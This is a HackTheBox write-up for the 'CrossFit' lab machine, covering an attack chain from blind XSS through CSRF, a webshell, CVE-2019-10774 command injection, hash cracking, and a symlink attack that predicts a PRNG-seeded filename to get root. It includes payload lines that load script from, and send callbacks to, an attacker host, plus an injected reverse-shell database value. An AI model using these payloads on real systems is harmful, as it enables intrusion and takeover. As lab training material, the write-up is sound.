HTB: CrossFit Writeup
CrossFit - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | CrossFit |
| OS | Linux |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.218 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐⭐
Summary
CrossFit is an Insane-difficulty Linux box built around a fictional gym website (gym-club.crossfit.htb) that logs stray XSS attempts for later “admin” review. That review page is polled by a bot roughly every 60 seconds, turning a filtered reflected-XSS attempt into a stored blind-XSS primitive delivered through the User-Agent header. From there the chain becomes an exercise in CORS-driven subdomain discovery, XSS-as-CSRF against an internal-only Laravel FTP-account manager, and a webshell dropped on a vhost that is itself unreachable except by the same bot. Post-foothold, database credentials pulled from Laravel’s .env and a leaked FTP admin profile in vsftpd.conf open a second FTP write path into a per-minute PHP mail-relay cron. That cron shells out via mikehaertl/php-shellcommand 1.6.0 (CVE-2019-10774), giving code execution as isaac. A world-readable Ansible playbook then leaks a crackable sha512crypt hash for hank, yielding user.txt. Root abuses a second cron (/usr/bin/dbmsg) whose predictable srand(time(0))-seeded filename can be pre-computed and pre-planted as a symlink to /root/.ssh/authorized_keys, so that when root’s cron writes attacker-supplied “message” content, it actually writes an SSH key into root’s authorized_keys.
TL;DR: Blind XSS via logged User-Agent → CORS Origin-header fuzzing reveals ftp.crossfit.htb → XSS-driven CSRF creates an FTP account on that internal vhost → PHP webshell uploaded to development-test vhost, triggered via a second XSS/CSRF fetch → RCE as www-data → .env + vsftpd.conf user_config_dir reveal ftpadm FTP profile → DB-inserted ftpadm row grants FTP write into the mail cron’s message directory → CVE-2019-10774 command injection via mikehaertl/php-shellcommand addArg($row['email']) → isaac → world-readable Ansible playbook leaks hank’s sha512crypt hash, cracked to powerpuffgirls → user.txt → predict srand(time(0))-derived output filename of root’s /usr/bin/dbmsg cron, pre-plant matching symlinks to /root/.ssh/authorized_keys, seed a DB row shaped like an SSH key → root writes attacker’s key → root.txt.
Reconnaissance
Port Scanning
nmap -p21,22,80 -sCV -Pn 10.129.65.218Results: Three services open — 21 (vsftpd, TLS-enforced), 22 (SSH), 80 (Apache, default Debian page on the bare IP).
Service Enumeration
The FTP service forces TLS, so the certificate itself is a useful recon target — its Common Name is *.crossfit.htb, immediately confirming a virtual-hosting setup and giving the base domain for hostname guessing:
# TLS cert leaks the vhost naming conventionopenssl s_client -connect 10.129.65.218:21 -starttls ftpAdding host entries and probing showed the bare crossfit.htb name didn’t resolve to anything meaningful; the real front-end lived on a specific subdomain:
# Only vhost that actually serves the gym siteecho "10.129.65.218 crossfit.htb www.crossfit.htb gym-club.crossfit.htb ftp.crossfit.htb develop..." >> /etc/hostscurl -s http://gym-club.crossfit.htb/ | grep -oE '(href|src)="[^"]+"' | sort -uThis exposed contact.php, blog-single.php, and jointheclub.php — all user-input forms worth XSS-testing. Directory fuzzing (ffuf against raft-medium-directories.txt) turned up readme.txt and db.php on the site, and later a security_threat path referenced by the app’s own filter messages.
Vulnerability Assessment
- Reflected/logged XSS on
blog-single.php’smessagefield: submitting<script>alert(1)</script>triggers a server-side filter that blocks the payload in the response but logs the request’s rawUser-Agentto a/security_threat/report.phplog page. - CORS misconfiguration used as a subdomain oracle:
gym-club.crossfit.htbreflectsAccess-Control-Allow-Originback only when theOriginheader matches an existing*.crossfit.htbvhost — a non-existent origin gets no such header. This turns theOriginheader into a fuzzable side channel independent of DNS/Host-header enumeration. - The
report.phplog page is periodically fetched by an internal “admin” bot — confirmed by planting a JS beacon in theUser-Agentand observing an inbound callback to a controlled HTTP listener roughly a minute later.
# Confirm the reflected-CORS oracle behavior first (baseline vs. bogus origin)curl -s -I -H "Origin: http://gym-club.crossfit.htb" http://gym-club.crossfit.htb/curl -s -I -H "Origin: http://zzzrandom123.crossfit.htb" http://gym-club.crossfit.htb/
# Fuzz the Origin header instead of Host — only real vhosts get ACAO backffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \ -u http://gym-club.crossfit.htb/ \ -H "Origin: http://FUZZ.crossfit.htb" \ -mc 200 -fs <baseline_size>This fuzzing pass surfaced ftp.crossfit.htb — a vhost that returns nothing directly over the internet (localhost-only), but which the same-origin trust relationship implies is reachable by anything running on the box, i.e. the admin bot.
Initial Foothold
Exploitation Path
Step 1 — Confirm blind XSS via logged User-Agent. The blog comment filter blocks the payload in the HTTP response but still records the raw User-Agent header to the report log the admin bot polls. Serving a JS payload from a controlled listener and setting it as the User-Agent on a filtered submission confirmed callback execution:
# Stand up a payload hostmkdir -p /tmp/cfwww && cd /tmp/cfwwwecho 'fetch("http://<attacker>:8000/ping?ok")' > x.jspython3 -m http.server 8000 --bind <attacker_ip>
# Trigger the filter with the User-Agent set to load our JScurl -s -X POST http://gym-club.crossfit.htb/blog-single.php \ -A '<script src=http://<attacker>:8000/x.js></script>' \ --data-urlencode "name=x" --data-urlencode "email=a@a.com" \ --data-urlencode "phone=123" --data-urlencode "message=<script>alert(1)</script>" \ --data-urlencode "submit=submit"
# ~60s later, the http.server log shows the bot's GET /x.js — blind XSS confirmedStep 2 — Turn the XSS into CSRF against the internal-only ftp.crossfit.htb. Since ftp.crossfit.htb isn’t reachable directly but the admin bot’s browser context can reach it, JavaScript delivered through the blind XSS was used to script requests to it. This vhost turned out to be a Laravel-based “FTP Hosting - Account Management” app whose /accounts/create form is protected by a session-bound Laravel _token (anti-CSRF token). The payload JS ran on the bot’s origin, fetched /accounts/create, parsed out _token, and POSTed to /accounts with withCredentials-style session continuity to create a new FTP account.
Step 3 — Log in over FTPS and locate a writable web directory. With the account created via the CSRF chain, FTP-over-TLS access was available, but write access was scoped to a single directory:
# FTP write access limited to:/var/www/development-testThat development-test vhost is itself localhost-only (not reachable from outside), matching the pattern already seen with ftp.crossfit.htb — anything uploaded there could only be executed by triggering it through the admin bot again.
Step 4 — Upload a PHP webshell and trigger it via a second blind-XSS/CSRF request. A minimal webshell (sh.php) was uploaded to the development-test write point over FTPS, then a second User-Agent XSS payload was crafted to issue a fetch(..., {mode: 'no-cors'}) request against it from the bot’s browser context (bypassing the same-origin restriction that would otherwise block reading/using the response, since only triggering the command mattered, not reading output back through the browser):
// Delivered via blind XSS User-Agent, executed in the admin bot's contextfetch("http://development-test.crossfit.htb/sh.php?cmd=...", {mode: "no-cors"});This achieved code execution as www-data on the box.
Privilege Escalation
www-data → isaac (CVE-2019-10774)
With a shell as www-data, db.php and /var/www/ftp/.env (Laravel’s environment file, readable from the foothold) yielded two separate sets of MySQL credentials — one for the gym site’s own database, one for the ftphosting database backing the FTP account app.
/etc/vsftpd.conf referenced a user_config_dir containing a per-user profile for an ftpadm account, with local_root=/srv/ftp and guest_username=ftpadm — meaning any FTP login mapped through that config directory would land in /srv/ftp rather than the default web root. Inserting a matching ftpadm row (plain MD5 password, matching the app’s own hashing scheme) directly into ftphosting.accounts granted FTP write access into /srv/ftp/messages.
That messages directory feeds a per-minute cron (send_updates.php-equivalent mail relay) that reads pending message files and, for every subscriber email in the site’s users table, shells out to /usr/bin/mail using the mikehaertl/php-shellcommand library, version 1.6.0. That version is vulnerable to CVE-2019-10774 — addArg($row['email']) fails to properly neutralize arguments that begin with -, allowing an attacker-controlled “email” value to inject additional command-line arguments/commands rather than being treated as a literal address:
# Poison a users-table row so the mail command executes arbitrary shell# (exact row shape: an argument that breaks out via '||' after a forced-invalid flag)mysql -u <cred> -p'<cred>' <db> -e \ "INSERT INTO users(email) VALUES('--wrong-arg || bash -c \"<reverse shell / cmd>\"')"Combined with dropping a message file into the now-writable messages directory (to trigger the cron’s iteration and the mail send loop), this achieved code execution as isaac on the next cron tick.
isaac → hank (user.txt)
Enumeration from isaac located /etc/ansible/playbooks/adduser_hank.yml, world-readable, containing hank’s password hash in sha512crypt form (the format Ansible’s user module expects for the password: field). Cracking it recovered the plaintext, which was verified live against libcrypt before use:
# Hash format is sha512crypt ($6$...) per Ansible's user module conventionhashcat -m 1800 hank_hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule# Recovered: powerpuffgirls# Confirmed valid, then used for SSHssh hank@10.129.65.218# password: powerpuffgirlsThis yielded user.txt.
hank → root (root.txt)
Continued enumeration turned up /usr/bin/dbmsg, a root-owned binary invoked by a root cron job. Its behavior: seed the C standard PRNG with srand(time(0)), call rand(), and write a file to /var/local/ whose name is md5(sprintf("%d%s", rand(), id)) — with file contents built from a database row as name + " " + message + " " + email.
Because the seed is time(0) — the current Unix timestamp at the moment the cron fires — and glibc’s rand() implementation is deterministic given its seed, the output filename for any future second the cron might run in is fully computable offline, without ever winning a live race:
# Precompute rand() output for every timestamp in an upcoming window,# derive the resulting /var/local/<md5> filename, and pre-plant a symlink# to /root/.ssh/authorized_keys at each candidate path *before* the cron fires.import hashlib, ctypes
libc = ctypes.CDLL("libc.so.6")target_id = "<value used by dbmsg for id>"
for ts in range(future_start, future_start + 200): libc.srand(ts) r = libc.rand() fname = hashlib.md5(f"{r}{target_id}".encode()).hexdigest() # symlink /var/local/<fname> -> /root/.ssh/authorized_keys (pre-planted)A row was then seeded into the database (name, message, email columns) shaped so that the concatenated name + " " + message + " " + email content forms a valid ed25519 public key line. When the root cron subsequently ran dbmsg, it computed the same rand()-derived filename, found the pre-planted symlink already pointing at /root/.ssh/authorized_keys, and wrote the attacker’s public key line straight into it — because a write through a symlink follows the link rather than replacing it.
# Once the key is in place, SSH in directly as rootssh -i id_ed25519 root@10.129.65.218This yielded root.txt.
Note on cleanup: the box also runs a periodic cleanup job that wipes
ftphosting.accounts,crossfit.users/messages, and/var/localevery few minutes — every DB-row-planting step above had to be re-inserted immediately before its corresponding trigger fired, rather than staged and left to wait. A../-style FTP username was also attempted early on to try to force vsftpd to load an attacker-controlleduser_confvia path traversal; vsftpd rejects any login name containing/before per-user config resolution, so that avenue was abandoned in favor of theftpadmDB-row approach above.
Attack Chain Summary
Blind XSS (logged User-Agent, polled by admin bot on report.php) ↓CORS Origin-header fuzzing → discover ftp.crossfit.htb (internal-only vhost) ↓XSS-driven CSRF → read Laravel _token → create FTP account on ftp.crossfit.htb ↓FTPS upload to writable development-test web root (webshell) ↓Second blind-XSS fetch() trigger (no-cors) → RCE as www-data ↓.env + db.php creds → vsftpd user_config_dir "ftpadm" profile discovered ↓DB-inserted ftpadm row → FTP write into mail-cron message directory ↓CVE-2019-10774 (mikehaertl/php-shellcommand 1.6.0) → command injection via addArg($row['email']) ↓Code execution as isaac ↓World-readable Ansible playbook leaks hank's sha512crypt hash → cracked (powerpuffgirls) ↓SSH as hank → user.txt ↓Predict srand(time(0))-seeded rand() output → pre-plant /var/local/<md5> symlinks to authorized_keys ↓Seed DB row shaped as SSH key → root cron (dbmsg) writes key through symlink ↓SSH as root → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Initial port/service scan |
openssl s_client | Inspect FTP TLS certificate for vhost naming clues |
curl | Manual HTTP probing, form submission, header/CORS testing |
ffuf | Directory brute-force and Origin-header subdomain fuzzing |
python3 -m http.server | Payload hosting / blind XSS callback listener |
lftp/FTPS client | Authenticated file upload over TLS-enforced FTP |
mysql client | Direct DB row insertion for CVE-2019-10774 trigger and root-cron key write |
hashcat | Cracking hank’s sha512crypt hash |
ctypes/libc rand() | Reproducing glibc PRNG output to predict dbmsg’s filename |
ssh | Access as hank and as root |
Key Learnings
Techniques Practiced
- Turning a blocked/filtered XSS payload into blind XSS by abusing a logged-but-unsanitized
User-Agentheader reviewed by an internal bot. - Using CORS
Access-Control-Allow-Originreflection as a subdomain oracle — fuzzing theOriginrequest header instead ofHost/DNS to enumerate vhosts unreachable to normal fuzzing. - Chaining XSS → CSRF against a Laravel app to defeat a session-bound anti-CSRF
_tokenby scripting the token-read-then-submit flow entirely client-side, in the victim’s authenticated context. - Exploiting CVE-2019-10774 in
mikehaertl/php-shellcommand1.6.0, whereaddArg()on attacker-controlled data fails to prevent argument/flag injection into a shelled-out command. - Cracking a sha512crypt hash leaked via a world-readable Ansible playbook — a config-management artifact left behind with real credentials embedded.
- Reverse-engineering a PRNG-seeded filename scheme (
srand(time(0))+rand()+md5()) to convert what looked like a race condition into a fully deterministic, pre-plantable symlink attack against a root-owned write primitive.
Lessons Learned
- Any header or field that gets logged and later reviewed by a human or bot is an attack surface, even if it’s rejected in the immediate HTTP response — filtering the visible response body is not the same as sanitizing what gets persisted and re-rendered elsewhere.
- CORS trust relationships leak infrastructure topology. A reflected
Access-Control-Allow-Originheader that only appears for valid origins is effectively an oracle for enumerating internal or hidden vhosts, independent of DNS. - Internal-only vhosts aren’t safe just because they’re unroutable from the internet — if anything inside the trust boundary (an admin bot, a cron, another service) can reach them, XSS/SSRF-style primitives make them reachable by proxy.
srand(time(0))is not a security boundary. Any PRNG seeded from a value the attacker can bound (wall-clock time) is fully predictable offline; races don’t need to be won live if the output space can be pre-computed and pre-planted.- World-readable config-management artifacts (Ansible playbooks,
.envfiles) are a recurring source of live credentials — they’re written for automation convenience and routinely forgotten as a disclosure risk. - Symlink-based arbitrary-write primitives require write-through-symlink semantics on the writer’s side — a root cron writing “generic” content to an attacker-predictable path is exploitable the moment that path can be pre-occupied by a symlink to a sensitive file.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Pwnmeow, CrossFit (HackTheBox Official Writeup, Document No. D21.100.110), Machine authors: Polarbearer & GibParadox — used for conceptual background on the blind-XSS/CORS/CSRF chain, the
mikehaertl/php-shellcommand(CVE-2019-10774) command injection, and the Ansible-leaked credential pattern.